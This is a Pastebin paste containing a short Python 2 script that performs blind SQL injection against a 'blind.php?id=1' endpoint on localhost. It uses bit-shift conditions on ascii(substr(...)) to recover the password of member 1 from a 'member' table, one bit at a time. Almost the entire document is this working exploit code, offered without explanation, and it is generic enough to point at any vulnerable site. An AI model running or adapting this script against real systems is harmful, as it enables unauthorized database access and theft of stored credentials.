Advertisement
Xenithz

Blind Sql Injection with Bit Shifting

Oct 3rd, 2012
335
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.65 KB | None | 0 0
  1. from urllib import urlopen
  2. host = "http://127.0.0.1/blind.php?id=1"
  3. result = ""
  4. Truematch = "admin"
  5. sqlcmd = "select pass from member where id = 1"
  6. def request(site,charpos,sqlcmd,match_str):
  7.     result = 0
  8.     for bitpos in range(7,-1,-1):
  9.         result *= 2
  10.         injection = "%s and (ascii((substr((%s),%d,1))) >> %d) = %d"%(host,sqlcmd,charpos,bitpos,result)
  11.         opener = urlopen(injection)
  12.         if match_str in opener.read():  result += 0
  13.         else:   result += 1
  14.     if result == 0: return False
  15.     return chr(result)
  16. charpos = 1
  17. while 1:
  18.     try:
  19.         result += request(host,charpos,sqlcmd,Truematch)
  20.         charpos += 1
  21.     except Exception:
  22.         print "%s => %s"%(sqlcmd,result)
  23.         break
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement